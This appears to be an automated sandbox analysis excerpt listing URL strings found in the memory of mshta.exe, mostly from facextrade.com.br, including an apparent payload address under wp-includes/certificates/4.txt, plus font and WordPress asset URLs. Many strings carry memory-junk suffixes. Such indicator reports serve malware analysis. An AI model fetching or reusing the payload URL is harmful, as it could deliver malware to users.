Source: mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt/S(
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt1_
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt?
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtF
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtG
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtH
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtN
Source: mshta.exe, 0000000A.00000002.700771200.0000000002BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtP
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtU
Source: mshta.exe, 0000000A.00000002.700909166.0000000002BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtV
Source: mshta.exe, 0000000A.00000002.700390648.00000000029D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700643794.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt_
Source: mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700909166.0000000002BCD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txte
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txte1
Source: mshta.exe, 0000000A.00000003.588216517.00000000076E4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.588571583.00000000076E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.706603004.0000000006C13000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.588638138.00000000076E8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.710908088.00000000076E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.588501665.00000000076E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtk
Source: mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtl
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlax/js/jquery.simplr.smoothscroll.min.js?ver=
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlt.aspx?ocid=ie6_countdown_bannercodez
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmatio
Source: mshta.exe, 0000000A.00000002.700390648.00000000029D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700643794.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtn
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtogleTranslateElementInit2N
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtork/css/magnific-popup.css?ver=0.9.3LMEM
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtt
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtu_
Source: mshta.exe, 0000000A.00000002.713234533.000000000BF86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty-policyes
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtyle.cssIE5
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/css/style.css
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policy&
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policy0
Source: mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417J
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417erC:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.18
Source: mshta.exe, 0000000A.00000002.713234533.000000000BF86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417rOE
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417y.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20#
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20C:
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4Xc
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20n
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20K
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20b
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.phpl(%
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://fontawesome.io
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinb
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinc
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3k
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latintH:
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100B
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100S
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100_
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100l
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100yFramework/style.css.9.20ive.csss
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300Y
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300c
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300s/4.txt
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400-release.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400L
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400o
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700=
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700E
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700V
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9006
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9009
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/L
Source: mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 0000000A.00000003.495170473.00000000062E3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, css[1].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705150781.0000000006986000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eott
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713234533.000000000BF86000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.496077219.0000000006305000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, css[5].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotUg
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713234533.000000000BF86000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.496073017.00000000062FB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, css[4].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot/
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot;hl
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.495179601.00000000062EB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, css[2].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotDg
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotJa
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotodernizr.js?ver=2.0.6r
